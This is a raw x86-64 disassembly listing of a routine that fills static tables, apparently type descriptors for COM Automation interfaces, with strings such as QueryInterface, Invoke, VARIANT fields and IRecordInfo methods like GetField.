movdqa xmm8, xmmword [0x00427fe0]
mov qword [0x0042bc88], rax
lea rax, str.skey
movq xmm5, rax
movaps xmmword [0x0042bc70], xmm0
movq xmm0, rsi
lea rax, [0x0042bd20]
punpcklqdq xmm0, xmm5
movaps xmmword [0x0042bd00], xmm0
lea rsi, [rax - 0x30]
movq xmm5, rax
movaps xmmword [0x0042bd30], xmm2
lea rax, [0x0042bd50]
movq xmm0, rsi
mov qword [0x0042eeb8], 0
mov qword [0x0042bce8], rax
lea rax, [rsi - 0x30]
punpcklqdq xmm0, xmm5
mov qword [0x0042eec0], rax
lea rax, [0x0042d290]
movaps xmmword [0x0042bd50], xmm0
lea rsi, [rax - 0x30]
movaps xmmword [0x0042eea0], xmm8
mov word [0x0042eeb0], 0x312
mov word [0x0042bc80], 0x310
mov byte [0x0042bcf0], 1
mov qword [0x0042bcf8], 0
mov byte [0x0042bd20], 1
mov qword [0x0042bd28], 0x3c0
mov qword [0x0042bce0], 2
mov byte [0x0042bcc0], 2
mov qword [0x0042eb28], 0
movaps xmmword [0x0042eb10], xmm10
mov word [0x0042eb20], 0x312
mov qword [0x0042e848], 0
movaps xmmword [0x0042e830], xmm10
mov word [0x0042e840], 0x312
mov qword [0x0042d168], 0
movaps xmmword [0x0042d150], xmm10
mov word [0x0042d160], 0x312
mov qword [0x0042d0f8], 0
mov word [0x0042d0f0], 0x32a
movdqa xmm0, xmmword [rsp + 0x460]
movdqa xmm2, xmmword [rsp + 0x4a0]
movaps xmmword [0x0042d270], xmm7
movdqa xmm7, xmmword [rsp + 0x470]
movaps xmmword [0x0042d2d0], xmm0
movq xmm0, rsi
add rsi, 0x60
movdqa xmm1, xmmword [rsp + 0x4b0]
movaps xmmword [0x0042d0a0], xmm11
movaps xmmword [0x0042d2a0], xmm7
movq xmm7, rax
add rax, 0x60
punpcklqdq xmm0, xmm7
movq xmm7, rax
movaps xmmword [0x0042d120], xmm0
movq xmm0, rsi
punpcklqdq xmm0, xmm7
movaps xmmword [0x0042d130], xmm0
movdqa xmm0, xmmword [rsp + 0x450]
add rax, 0x30
mov qword [0x0042d140], rax
add rsi, 0x300
add rax, 0x2d0
movaps xmmword [0x0042d300], xmm0
movdqa xmm0, xmmword [rsp + 0x430]
movaps xmmword [0x0042d390], xmm2
movaps xmmword [0x0042d3c0], xmm1
movq xmm1, rsi
mov byte [0x0042d260], 1
mov qword [0x0042d268], 0
mov byte [0x0042d290], 1
mov qword [0x0042d298], 2
mov byte [0x0042d2c0], 1
mov qword [0x0042d2c8], 4
mov byte [0x0042d2f0], 1
mov qword [0x0042d2f8], 6
mov qword [0x0042d0b8], 0
mov word [0x0042d0b0], 0x312
mov byte [0x0042d380], 1
mov qword [0x0042d388], 0
mov byte [0x0042d3b0], 1
mov qword [0x0042d3b8], 0
mov byte [0x0042d3e0], 1
mov qword [0x0042d3e8], 0
movaps xmmword [0x0042d3f0], xmm0
movdqa xmm0, xmmword [rsp + 0x420]
movdqa xmm7, xmmword [rsp + 0x3d0]
movaps xmmword [0x0042d420], xmm14
movaps xmmword [0x0042d450], xmm0
movdqa xmm0, xmmword [rsp + 0x410]
movaps xmmword [0x0042d5d0], xmm7
movq xmm7, rax
movaps xmmword [0x0042d480], xmm0
punpcklqdq xmm1, xmm7
movdqa xmm0, xmmword [rsp + 0x400]
lea rax, [0x0042cda0]
movaps xmmword [0x0042cda0], xmm1
movaps xmmword [0x0042d4b0], xmm0
movdqa xmm0, xmmword [rsp + 0x3f0]
mov byte [0x0042d410], 1
movaps xmmword [0x0042d4e0], xmm0
movdqa xmm0, xmmword [0x00428000]
mov qword [0x0042d418], 0
movaps xmmword [0x0042cdb0], xmm0
mov byte [0x0042d440], 1
mov qword [0x0042d448], 0
mov byte [0x0042d470], 1
mov qword [0x0042d478], 0
mov byte [0x0042d4a0], 1
mov qword [0x0042d4a8], 0
mov byte [0x0042d4d0], 1
mov qword [0x0042d4d8], 0
mov qword [0x0042ce18], 0
movaps xmmword [0x0042ce00], xmm6
mov word [0x0042ce10], 0x312
mov qword [0x0042cdc8], 0
mov word [0x0042cdc0], 0x312
mov byte [0x0042d5c0], 1
mov qword [0x0042d5c8], 0
mov byte [0x0042d5f0], 1
mov qword [0x0042d5f8], 4
movdqa xmm7, xmmword [rsp + 0x3c0]
mov qword [0x0042d5b8], rax
lea rax, [rsi - 0x30]
movaps xmmword [0x0042d600], xmm7
movdqa xmm7, xmmword [rsp + 0x3e0]
mov qword [0x0042cdd0], rax
lea rax, [rsi + 0x60]
sub rsi, 0x60
movaps xmmword [0x0042d570], xmm7
movq xmm1, rsi
movq xmm7, rax
punpcklqdq xmm1, xmm7
movdqa xmm7, xmmword [rsp + 0x3b0]
lea rax, [0x0042cdf0]
movaps xmmword [0x0042cdf0], xmm1
mov qword [0x0042d558], rax
lea rax, [rsi - 0x30]
movaps xmmword [0x0042d630], xmm7
lea rsi, [0x0042cc80]
movdqa xmm7, xmmword [rsp + 0x3a0]
mov qword [0x0042ce20], rax
movq xmm1, rsi
movaps xmmword [0x0042d660], xmm7
movdqa xmm7, xmmword [rsp + 0x390]
lea rax, str.QueryInterface
movaps xmmword [0x0042d510], xmm9
movaps xmmword [0x0042d690], xmm7
movq xmm7, rax
lea rax, [0x0042d770]
punpcklqdq xmm1, xmm7
mov qword [0x0042d5b0], 2
lea rsi, [rax - 0x30]
movq xmm7, rax
mov byte [0x0042d590], 2
add rax, 0x30
mov byte [0x0042d560], 1
mov qword [0x0042d568], 0
mov byte [0x0042d620], 1
mov qword [0x0042d628], 0
mov qword [0x0042d550], 2
mov byte [0x0042d530], 2
mov byte [0x0042d500], 1
mov qword [0x0042d508], 0
mov byte [0x0042d650], 1
mov qword [0x0042d658], 0
mov byte [0x0042d680], 1
mov qword [0x0042d688], 0
mov qword [0x0042cd38], 0
movaps xmmword [0x0042cd20], xmm6
mov word [0x0042cd30], 0x312
movaps xmmword [0x0042d750], xmm1
movq xmm1, rsi
punpcklqdq xmm1, xmm7
mov qword [0x0042ccd0], rax
movdqa xmm7, xmmword [rsp + 0x360]
lea rax, [0x0042ccc0]
mov qword [0x0042d738], rax
lea rax, [rsi - 0x30]
movaps xmmword [0x0042d780], xmm7
movdqa xmm7, xmmword [rsp + 0x350]
mov qword [0x0042cd00], rax
lea rax, [0x0042cce0]
movaps xmmword [0x0042d7b0], xmm7
movdqa xmm7, xmmword [rsp + 0x370]
mov qword [0x0042cc18], rax
lea rax, [rsi - 0x60]
movaps xmmword [0x0042ccc0], xmm1
lea rsi, [0x0042cad0]
mov qword [0x0042ccf8], 0
movq xmm1, rsi
movaps xmmword [0x0042cce0], xmm10
lea rsi, [0x0042ca50]
mov word [0x0042ccf0], 0x112
mov qword [0x0042cc98], 0
movaps xmmword [0x0042cc80], xmm6
mov word [0x0042cc90], 0x319
mov byte [0x0042d740], 1
mov qword [0x0042d748], 0
mov qword [0x0042cc58], 0
movaps xmmword [0x0042cc40], xmm6
mov word [0x0042cc50], 0x319
mov byte [0x0042d770], 1
mov qword [0x0042d778], 8
mov byte [0x0042d7a0], 1
mov qword [0x0042d7a8], 0x10
mov qword [0x0042d730], 3
mov byte [0x0042d710], 2
movaps xmmword [0x0042cc00], xmm6
mov word [0x0042cc10], 0x315
mov byte [0x0042d6e0], 1
mov qword [0x0042d6e8], 0
movaps xmmword [0x0042d6f0], xmm7
movdqa xmm7, xmmword [rsp + 0x380]
movdqa xmm2, xmmword [rsp + 0x320]
mov qword [0x0042cd40], rax
lea rax, [0x0042cd20]
mov qword [0x0042cbd8], rax
lea rax, str.GetTypeInfoCount
movq xmm3, rax
movaps xmmword [0x0042d6c0], xmm7
movdqa xmm7, xmmword [0x00428010]
lea rax, str.GetIDsOfNames
punpcklqdq xmm1, xmm3
movaps xmmword [0x0042d870], xmm1
movq xmm1, rsi
movq xmm3, rax
movaps xmmword [0x0042d8a0], xmm2
lea rax, [0x0042d890]
punpcklqdq xmm1, xmm3
movaps xmmword [0x0042cbc0], xmm6
lea rsi, [rax - 0x30]
movq xmm3, rax
mov word [0x0042cbd0], 0x315
add rax, 0x60
mov byte [0x0042d6b0], 1
mov qword [0x0042d6b8], 0
mov qword [0x0042cb98], 0
movaps xmmword [0x0042cb80], xmm6
mov word [0x0042cb90], 0x312
movaps xmmword [0x0042cb40], xmm7
mov word [0x0042cb50], 0x112
mov qword [0x0042cae8], 0
movaps xmmword [0x0042cad0], xmm6
mov word [0x0042cae0], 0x319
mov byte [0x0042d860], 1
mov qword [0x0042d868], 0x18
mov qword [0x0042caa8], 0
movaps xmmword [0x0042ca90], xmm6
mov word [0x0042caa0], 0x319
mov byte [0x0042d890], 1
mov qword [0x0042d898], 0x20
mov qword [0x0042ca68], 0
movaps xmmword [0x0042ca50], xmm6
mov word [0x0042ca60], 0x319
mov byte [0x0042d8c0], 1
mov qword [0x0042d8c8], 0x28
movaps xmmword [0x0042d8d0], xmm1
movq xmm1, rsi
add rsi, 0x60
movdqa xmm2, xmmword [rsp + 0x330]
punpcklqdq xmm1, xmm3
movq xmm3, rax
movaps xmmword [0x0042cb20], xmm1
movq xmm1, rsi
lea rax, str.Invoke
punpcklqdq xmm1, xmm3
movaps xmmword [0x0042cb30], xmm1
movdqa xmm4, xmmword [rsp + 0x40]
movq xmm3, rax
movaps xmmword [0x0042d810], xmm2
movdqa xmm2, xmmword [rsp + 0x340]
lea rsi, [0x0042ca10]
movups xmmword [0x0042cb58], xmm4
lea rax, [0x0042cb20]
movq xmm1, rsi
movaps xmmword [0x0042d7e0], xmm2
mov qword [0x0042d858], rax
lea rax, [0x0042cb40]
punpcklqdq xmm1, xmm3
mov qword [0x0042c9e8], rax
lea rax, [0x0042d800]
movaps xmmword [0x0042d900], xmm1
movdqa xmm1, xmmword [0x00428020]
mov qword [0x0042cba0], rax
lea rax, [0x0042cb80]
mov qword [0x0042c9a8], rax
lea rax, [0x0042d9b0]
movaps xmmword [0x0042c950], xmm1
lea rsi, [rax - 0x30]
mov qword [0x0042ca28], 0
movaps xmmword [0x0042ca10], xmm6
mov word [0x0042ca20], 0x319
mov byte [0x0042d8f0], 1
mov qword [0x0042d8f8], 0x30
mov qword [0x0042d850], 4
mov byte [0x0042d830], 2
movaps xmmword [0x0042c9d0], xmm6
mov word [0x0042c9e0], 0x315
mov byte [0x0042d800], 1
mov qword [0x0042d808], 0
movaps xmmword [0x0042c990], xmm6
mov word [0x0042c9a0], 0x315
mov byte [0x0042d7d0], 1
mov qword [0x0042d7d8], 0
mov qword [0x0042c968], 0
mov word [0x0042c960], 0x312
mov byte [0x0042d980], 1
movdqa xmm1, xmmword [rsp + 0x2f0]
movdqa xmm4, xmmword [rsp + 0x2e0]
movaps xmmword [0x0042c8d0], xmm0
movdqa xmm2, xmmword [rsp + 0x2d0]
movaps xmmword [0x0042d9c0], xmm1
movq xmm1, rsi
add rsi, 0x60
movdqa xmm14, xmmword [rsp + 0x2c0]
movaps xmmword [0x0042d9f0], xmm4
movdqa xmm4, xmmword [rsp + 0x2b0]
movaps xmmword [0x0042da20], xmm2
movaps xmmword [0x0042da50], xmm14
movq xmm14, rax
add rax, 0x60
movdqa xmm9, xmmword [rsp + 0x300]
punpcklqdq xmm1, xmm14
movq xmm14, rax
movaps xmmword [0x0042c920], xmm1
add rax, 0x60
movq xmm1, rsi
add rsi, 0x60
movaps xmmword [0x0042d990], xmm9
lea rdi, [rsi + 0x90]
punpcklqdq xmm1, xmm14
movq xmm14, rax
movaps xmmword [0x0042c930], xmm1
add rax, 0x90
movq xmm1, rsi
movaps xmmword [0x0042dae0], xmm4
punpcklqdq xmm1, xmm14
movq xmm3, rax
movaps xmmword [0x0042c940], xmm1
movq xmm1, rdi
lea rax, [0x0042c8c0]
punpcklqdq xmm1, xmm3
mov qword [0x0042d988], 0
mov byte [0x0042d9b0], 1
mov qword [0x0042d9b8], 2
mov byte [0x0042d9e0], 1
mov qword [0x0042d9e8], 4
mov byte [0x0042da10], 1
mov qword [0x0042da18], 8
mov byte [0x0042da40], 1
mov qword [0x0042da48], 0x10
mov qword [0x0042c8e8], 0
mov word [0x0042c8e0], 0x312
mov byte [0x0042dad0], 1
mov qword [0x0042dad8], 0
movaps xmmword [0x0042c8c0], xmm1
mov byte [0x0042db00], 1
mov qword [0x0042db08], 4
movdqa xmm1, xmmword [rsp + 0x2a0]
movdqa xmm4, xmmword [rsp + 0x310]
mov qword [0x0042dac8], rax
lea rax, [rsi + 0x60]
mov qword [0x0042c8f0], rax
lea rax, [0x0042c8d0]
mov qword [0x0042c898], rax
lea rax, str.rgsabound
movq xmm3, rax
movaps xmmword [0x0042db10], xmm1
lea rax, [0x0042c920]
movaps xmmword [0x0042c880], xmm0
mov qword [0x0042d978], rax
lea rax, [rdi - 0x180]
lea rsi, [0x0042c880]
mov qword [0x0042c970], rax
lea rax, [0x0042c950]
movq xmm1, rsi
movaps xmmword [0x0042d930], xmm4
mov qword [0x0042c858], rax
punpcklqdq xmm1, xmm3
lea rax, str.pbVal
lea rdi, [0x0042c800]
movq xmm3, rax
movaps xmmword [0x0042da80], xmm1
movq xmm1, rdi
mov byte [0x0042daa0], 2
punpcklqdq xmm1, xmm3
mov byte [0x0042da70], 1
movdqa xmm3, xmmword [rsp + 0x4c0]
lea rax, str.pfltVal
movaps xmmword [0x0042db40], xmm1
lea rsi, [0x0042c700]
movaps xmmword [0x0042db70], xmm3
movq xmm1, rsi
mov word [0x0042c890], 0x310
lea rdi, [0x0042c680]
mov byte [0x0042d950], 2
lea rsi, [0x0042c640]
mov qword [0x0042dac0], 2
mov qword [0x0042da78], 0x18
mov qword [0x0042d970], 6
movaps xmmword [0x0042c840], xmm6
mov word [0x0042c850], 0x315
mov byte [0x0042d920], 1
mov qword [0x0042d928], 0
mov byte [0x0042db30], 1
mov qword [0x0042db38], 0
mov byte [0x0042db60], 1
mov qword [0x0042db68], 0
mov byte [0x0042db90], 1
mov qword [0x0042db98], 0
movdqa xmm5, xmmword [rsp + 0x290]
movdqa xmm4, xmmword [rsp + 0x4d0]
mov byte [0x0042dbc0], 1
movdqa xmm2, xmmword [rsp + 0x280]
movaps xmmword [0x0042dba0], xmm5
movq xmm5, rax
punpcklqdq xmm1, xmm5
movdqa xmm5, xmmword [rsp + 0x4e0]
movaps xmmword [0x0042dc00], xmm1
lea rax, str.pcyVal
movdqa xmm1, xmmword [rsp + 0x270]
movaps xmmword [0x0042dbd0], xmm4
movdqa xmm4, xmmword [rsp + 0x260]
movaps xmmword [0x0042dc30], xmm5
movq xmm5, rax
movaps xmmword [0x0042dc90], xmm1
movq xmm1, rdi
lea rax, str.pbstrVal
punpcklqdq xmm1, xmm5
movaps xmmword [0x0042dcc0], xmm1
movq xmm1, rsi
movq xmm5, rax
movaps xmmword [0x0042dc60], xmm2
lea rax, str.ppunkVal
punpcklqdq xmm1, xmm5
movaps xmmword [0x0042dcf0], xmm4
movq xmm5, rax
mov byte [0x0042dbf0], 1
lea rdi, [0x0042c600]
mov qword [0x0042dbc8], 0
lea rax, [0x0042c990]
mov qword [0x0042dbf8], 0
mov byte [0x0042dc20], 1
lea rsi, [0x0042c5c0]
mov qword [0x0042dc28], 0
mov byte [0x0042dc50], 1
mov qword [0x0042dc58], 0
mov byte [0x0042dc80], 1
mov qword [0x0042dc88], 0
mov qword [0x0042c698], r14
movaps xmmword [0x0042c680], xmm6
mov word [0x0042c690], 0x315
mov byte [0x0042dcb0], 1
mov qword [0x0042dcb8], 0
mov byte [0x0042dce0], 1
mov qword [0x0042dce8], 0
mov byte [0x0042dd10], 1
mov qword [0x0042dd18], 0
movdqa xmm2, xmmword [rsp + 0x250]
movaps xmmword [0x0042dd20], xmm1
movq xmm1, rdi
mov qword [0x0042c5d8], rax
lea rax, str.ppdispVal
punpcklqdq xmm1, xmm5
movq xmm5, rax
movaps xmmword [0x0042dd50], xmm1
movq xmm1, rsi
lea rax, [0x0042c840]
punpcklqdq xmm1, xmm5
movaps xmmword [0x0042dd80], xmm1
mov qword [0x0042c598], rax
lea rdi, [0x0042c580]
lea rax, str.pparray
movq xmm1, rdi
movaps xmmword [0x0042de10], xmm2
movq xmm5, rax
mov qword [0x0042c618], r15
lea rax, str.pvarVal
punpcklqdq xmm1, xmm5
movaps xmmword [0x0042ddb0], xmm1
lea rdi, [0x0042c540]
movq xmm5, rax
movaps xmmword [0x0042c600], xmm6
movq xmm1, rdi
mov byte [0x0042dd40], 1
punpcklqdq xmm1, xmm5
movaps xmmword [0x0042dde0], xmm1
movdqa xmm1, xmmword [rsp + 0x240]
lea rsi, [0x0042eb10]
mov word [0x0042c610], 0x315
lea rax, [0x0042e0d0]
mov qword [0x0042dd48], 0
lea rdi, [rax - 0x30]
movaps xmmword [0x0042c5c0], xmm6
mov word [0x0042c5d0], 0x315
mov byte [0x0042dd70], 1
mov qword [0x0042dd78], 0
movaps xmmword [0x0042c580], xmm6
mov word [0x0042c590], 0x315
mov byte [0x0042dda0], 1
mov qword [0x0042dda8], 0
mov qword [0x0042c558], rsi
movaps xmmword [0x0042c540], xmm6
mov word [0x0042c550], 0x315
mov byte [0x0042ddd0], 1
mov qword [0x0042ddd8], 0
mov byte [0x0042de00], 1
mov qword [0x0042de08], 0
mov byte [0x0042de30], 1
mov qword [0x0042de38], 0
movaps xmmword [0x0042de40], xmm1
movdqa xmm1, xmmword [rsp + 0x200]
movdqa xmm4, xmmword [rsp + 0x230]
movaps xmmword [0x0042c450], xmm13
movq xmm13, rax
movaps xmmword [0x0042df00], xmm1
lea rax, [0x0042c3f0]
movdqa xmm1, xmmword [rsp + 0x1e0]
movdqa xmm2, xmmword [rsp + 0x220]
movaps xmmword [0x0042de70], xmm4
movdqa xmm4, xmmword [rsp + 0x1f0]
movaps xmmword [0x0042dfc0], xmm1
movdqa xmm1, xmmword [0x00428030]
movaps xmmword [0x0042dea0], xmm2
movdqa xmm14, xmmword [rsp + 0x210]
movaps xmmword [0x0042df30], xmm4
movaps xmmword [0x0042c4c0], xmm11
movaps xmmword [0x0042ded0], xmm14
mov byte [0x0042de60], 1
mov qword [0x0042de68], 0
mov byte [0x0042de90], 1
mov qword [0x0042de98], 0
mov byte [0x0042dec0], 1
mov qword [0x0042dec8], 0
mov byte [0x0042def0], 1
mov qword [0x0042def8], 0
mov byte [0x0042df20], 1
mov qword [0x0042df28], 0
mov qword [0x0042c4d8], 0
mov word [0x0042c4d0], 0x312
mov byte [0x0042dfb0], 1
mov qword [0x0042dfb8], 0
mov qword [0x0042c468], 0
mov word [0x0042c460], 0x312
mov qword [0x0042c418], 0
movaps xmmword [0x0042c400], xmm1
movq xmm1, rdi
movdqa xmm2, xmmword [rsp + 0x1b0]
mov qword [0x0042e098], rax
lea rax, [rdi - 0x30]
punpcklqdq xmm1, xmm13
movdqa xmm14, xmmword [rsp + 0x1a0]
movdqa xmm4, xmmword [rsp + 0x1d0]
mov qword [0x0042c420], rax
lea rax, [rdi + 0x60]
sub rdi, 0x60
movq xmm13, rax
movaps xmmword [0x0042e0b0], xmm2
movdqa xmm9, xmmword [rsp + 0x190]
lea rax, [0x0042c440]
movaps xmmword [0x0042c3f0], xmm1
movdqa xmm2, xmmword [rsp + 0x1c0]
movq xmm1, rdi
mov qword [0x0042e038], rax
lea rax, [rdi - 0x30]
punpcklqdq xmm1, xmm13
mov qword [0x0042c470], rax
lea rax, [rdi - 0x60]
sub rdi, 0x90
movq xmm5, rax
movaps xmmword [0x0042c440], xmm1
add rax, 0x180
movq xmm1, rdi
add rdi, 0x180
punpcklqdq xmm1, xmm5
movaps xmmword [0x0042e0e0], xmm14
movq xmm5, rax
movaps xmmword [0x0042e050], xmm2
add rax, 0xf0
movaps xmmword [0x0042e110], xmm9
movaps xmmword [0x0042dff0], xmm4
mov word [0x0042c410], 0x312
mov byte [0x0042e0a0], 1
mov qword [0x0042e0a8], 0
mov byte [0x0042e0d0], 1
mov qword [0x0042e0d8], 1
mov qword [0x0042e090], 2
mov byte [0x0042e070], 2
mov byte [0x0042e040], 1
mov qword [0x0042e048], 0
mov byte [0x0042e100], 1
mov qword [0x0042e108], 0
mov qword [0x0042e030], 2
mov byte [0x0042e010], 2
mov byte [0x0042dfe0], 1
mov qword [0x0042dfe8], 2
mov byte [0x0042e130], 1
mov qword [0x0042e138], 4
movdqa xmm13, xmmword [rsp + 0x150]
movdqa xmm4, xmmword [rsp + 0x180]
movaps xmmword [0x0042c4a0], xmm1
movq xmm1, rdi
add rdi, 0xf0
punpcklqdq xmm1, xmm5
movq xmm5, rax
movaps xmmword [0x0042e260], xmm13
movdqa xmm13, xmmword [rsp + 0x170]
lea rax, [0x0042c350]
movaps xmmword [0x0042e140], xmm4
movdqa xmm2, xmmword [rsp + 0x160]
movdqa xmm4, xmmword [rsp + 0x140]
mov qword [0x0042e218], rax
lea rax, [rdi - 0x30]
movaps xmmword [0x0042c360], xmm0
movq xmm0, rdi
mov qword [0x0042c380], rax
lea rax, [rdi + 0x60]
sub rdi, 0x60
punpcklqdq xmm0, xmm5
movaps xmmword [0x0042e1d0], xmm13
movq xmm13, rax
movaps xmmword [0x0042c350], xmm0
lea rax, [0x0042c3a0]
movq xmm0, rdi
punpcklqdq xmm0, xmm13
movaps xmmword [0x0042c4b0], xmm1
movaps xmmword [0x0042e230], xmm2
movaps xmmword [0x0042c3a0], xmm0
movaps xmmword [0x0042e290], xmm4
mov qword [0x0042c3c8], 0
movaps xmmword [0x0042c3b0], xmm6
mov word [0x0042c3c0], 0x312
mov qword [0x0042c378], 0
mov word [0x0042c370], 0x312
mov byte [0x0042e220], 1
mov qword [0x0042e228], 0
mov byte [0x0042e250], 1
mov qword [0x0042e258], 4
mov qword [0x0042e210], 2
mov byte [0x0042e1f0], 2
mov byte [0x0042e1c0], 1
mov qword [0x0042e1c8], 0
mov byte [0x0042e280], 1
mov qword [0x0042e288], 0
mov qword [0x0042e1b0], 2
movdqa xmm2, xmmword [rsp + 0x130]
movdqa xmm4, xmmword [rsp + 0x110]
mov qword [0x0042e1b8], rax
lea rax, [rdi - 0x30]
mov qword [0x0042c3d0], rax
lea rax, str.union2
movq xmm13, rax
movaps xmmword [0x0042e2f0], xmm2
lea rax, [0x0042c4a0]
movaps xmmword [0x0042e350], xmm4
mov qword [0x0042dfa8], rax
lea rax, [0x0042df80]
lea rdi, [0x0042c3b0]
mov qword [0x0042c4e0], rax
lea rax, [0x0042c4c0]
movq xmm0, rdi
mov byte [0x0042e190], 2
mov qword [0x0042c328], rax
lea rdi, [0x0042c310]
punpcklqdq xmm0, xmm13
lea rax, str.pdecVal
movaps xmmword [0x0042e170], xmm0
movq xmm0, rdi
movq xmm13, rax
mov byte [0x0042e160], 1
lea rax, str.pcVal
punpcklqdq xmm0, xmm13
movaps xmmword [0x0042df60], xmm0
lea rdi, [0x0042c2d0]
movq xmm13, rax
mov qword [0x0042e168], 8
movq xmm0, rdi
mov byte [0x0042df80], 2
punpcklqdq xmm0, xmm13
lea rax, [0x0042d3b0]
movdqa xmm13, xmmword [rsp + 0x120]
movaps xmmword [0x0042e2c0], xmm0
mov qword [0x0042dfa0], 4
lea rdi, [rax - 0x30]
movaps xmmword [0x0042e320], xmm13
movq xmm0, rdi
movaps xmmword [0x0042c310], xmm6
mov word [0x0042c320], 0x315
mov byte [0x0042df50], 1
mov qword [0x0042df58], 0
mov byte [0x0042e2b0], 1
mov qword [0x0042e2b8], 0
mov byte [0x0042e2e0], 1
mov qword [0x0042e2e8], 0
mov byte [0x0042e310], 1
mov qword [0x0042e318], 0
mov byte [0x0042e340], 1
mov qword [0x0042e348], 0
mov byte [0x0042e370], 1
mov qword [0x0042e378], 0
movdqa xmm13, xmmword [rsp + 0xf0]
movdqa xmm2, xmmword [rsp + 0x100]
movaps xmmword [0x0042c290], xmm11
movaps xmmword [0x0042e3b0], xmm13
movq xmm13, rax
add rax, 0x60
add rdi, 0x60
punpcklqdq xmm0, xmm13
movq xmm13, rax
movaps xmmword [0x0042cf40], xmm0
add rax, 0x60
movq xmm0, rdi
add rdi, 0x60
movaps xmmword [0x0042e380], xmm2
punpcklqdq xmm0, xmm13
movq xmm13, rax
movaps xmmword [0x0042cf50], xmm0
add rax, 0x60
movq xmm0, rdi
add rdi, 0x60
mov byte [0x0042e3a0], 1
punpcklqdq xmm0, xmm13
movq xmm13, rax
movaps xmmword [0x0042cf60], xmm0
add rax, 0x180
movq xmm0, rdi
add rdi, 0x60
mov qword [0x0042e3a8], 0
punpcklqdq xmm0, xmm13
movq xmm13, rax
movaps xmmword [0x0042cf70], xmm0
add rax, 0x60
movq xmm0, rdi
add rdi, 0x180
mov qword [0x0042c2a8], 0
punpcklqdq xmm0, xmm13
movq xmm13, rax
movaps xmmword [0x0042cf80], xmm0
add rax, 0x270
movq xmm0, rdi
add rdi, 0x150
mov word [0x0042c2a0], 0x312
punpcklqdq xmm0, xmm13
movq xmm13, rax
movaps xmmword [0x0042cf90], xmm0
add rax, 0x240
movq xmm0, rdi
add rdi, 0x360
mov byte [0x0042e430], 1
punpcklqdq xmm0, xmm13
movq xmm13, rax
add rax, 0x60
movaps xmmword [0x0042cfa0], xmm0
movq xmm0, rdi
add rdi, 0x60
punpcklqdq xmm0, xmm13
movq xmm13, rax
add rax, 0x60
movaps xmmword [0x0042cfb0], xmm0
movq xmm0, rdi
add rdi, 0x60
punpcklqdq xmm0, xmm13
movq xmm13, rax
add rax, 0x60
movaps xmmword [0x0042cfc0], xmm0
movq xmm0, rdi
add rdi, 0x60
punpcklqdq xmm0, xmm13
movq xmm13, rax
add rax, 0x60
movaps xmmword [0x0042cfd0], xmm0
movq xmm0, rdi
add rdi, 0x60
punpcklqdq xmm0, xmm13
movq xmm13, rax
add rax, 0x60
movaps xmmword [0x0042cfe0], xmm0
movq xmm0, rdi
add rdi, 0x60
punpcklqdq xmm0, xmm13
movq xmm13, rax
add rax, 0x60
movaps xmmword [0x0042cff0], xmm0
movq xmm0, rdi
add rdi, 0x60
punpcklqdq xmm0, xmm13
movq xmm13, rax
add rax, 0x60
movaps xmmword [0x0042d000], xmm0
movq xmm0, rdi
add rdi, 0x60
punpcklqdq xmm0, xmm13
movq xmm13, rax
add rax, 0x60
movaps xmmword [0x0042d010], xmm0
movq xmm0, rdi
add rdi, 0x60
punpcklqdq xmm0, xmm13
movq xmm13, rax
add rax, 0x60
movaps xmmword [0x0042d020], xmm0
movq xmm0, rdi
add rdi, 0x60
punpcklqdq xmm0, xmm13
movq xmm13, rax
add rax, 0x60
movaps xmmword [0x0042d030], xmm0
movq xmm0, rdi
add rdi, 0x60
punpcklqdq xmm0, xmm13
movq xmm13, rax
movaps xmmword [0x0042d040], xmm0
add rax, 0x390
movq xmm0, rdi
add rdi, 0x60
punpcklqdq xmm0, xmm13
movq xmm13, rax
add rax, 0x60
movaps xmmword [0x0042d050], xmm0
movq xmm0, rdi
add rdi, 0x390
punpcklqdq xmm0, xmm13
movq xmm13, rax
add rax, 0x60
movaps xmmword [0x0042d060], xmm0
movq xmm0, rdi
add rdi, 0x60
punpcklqdq xmm0, xmm13
movq xmm13, rax
add rax, 0x60
movaps xmmword [0x0042d070], xmm0
movq xmm0, rdi
add rdi, 0x60
punpcklqdq xmm0, xmm13
movq xmm13, rax
movaps xmmword [0x0042d080], xmm0
movq xmm0, rdi
punpcklqdq xmm0, xmm13
movaps xmmword [0x0042d090], xmm0
add rax, 0x90
add rdi, 0x90
mov qword [0x0042e438], 0
movq xmm0, rdi
movdqa xmm11, xmmword [rsp + 0xd0]
lea rdi, [0x0042c0f0]
movaps xmmword [0x0042c240], xmm6
movdqa xmm4, xmmword [rsp + 0xa0]
movaps xmmword [0x0042e440], xmm11
movq xmm11, rax
punpcklqdq xmm0, xmm11
movaps xmmword [0x0042c280], xmm0
movdqa xmm0, xmmword [0x00428040]
lea rax, str.RecordCopy
movq xmm11, rax
movaps xmmword [0x0042e530], xmm4
movaps xmmword [0x0042c200], xmm0
lea rax, str.GetGuid
movdqa xmm0, xmmword [rsp + 0xb0]
mov qword [0x0042c258], 0
movaps xmmword [0x0042e500], xmm0
movq xmm0, rdi
lea rdi, [0x0042c0b0]
punpcklqdq xmm0, xmm11
movq xmm11, rax
movaps xmmword [0x0042e560], xmm0
lea rax, str.GetName
movq xmm0, rdi
mov word [0x0042c250], 0x312
lea rdi, [0x0042c070]
punpcklqdq xmm0, xmm11
movq xmm11, rax
movaps xmmword [0x0042e590], xmm0
lea rax, str.GetSize
movq xmm0, rdi
mov word [0x0042c210], 0x112
lea rdi, [0x0042c030]
punpcklqdq xmm0, xmm11
mov qword [0x0042c148], 0
movq xmm11, rax
movaps xmmword [0x0042c130], xmm6
lea rax, str.GetField
mov word [0x0042c140], 0x319
mov byte [0x0042e4f0], 1
mov qword [0x0042e4f8], 0x18
mov byte [0x0042e520], 1
mov qword [0x0042e528], 0x20
mov qword [0x0042c108], 0
movaps xmmword [0x0042c0f0], xmm6
mov word [0x0042c100], 0x319
mov byte [0x0042e550], 1
mov qword [0x0042e558], 0x28
mov qword [0x0042c0c8], 0
movaps xmmword [0x0042c0b0], xmm6
mov word [0x0042c0c0], 0x319
mov byte [0x0042e580], 1
mov qword [0x0042e588], 0x30
mov qword [0x0042c088], 0
movdqa xmm2, xmmword [rsp + 0x90]
movaps xmmword [0x0042e5c0], xmm0
movq xmm0, rdi
lea rdi, [0x0042bfb0]
punpcklqdq xmm0, xmm11
movq xmm11, rax
movaps xmmword [0x0042e5f0], xmm0
lea rax, str.GetFieldNoCopy
movq xmm0, rdi
movaps xmmword [0x0042e620], xmm2
lea rdi, [0x0042bf70]
punpcklqdq xmm0, xmm11
movq xmm11, rax
movaps xmmword [0x0042e650], xmm0
lea rax, str.GetFieldNames
movq xmm0, rdi
movaps xmmword [0x0042c070], xmm6
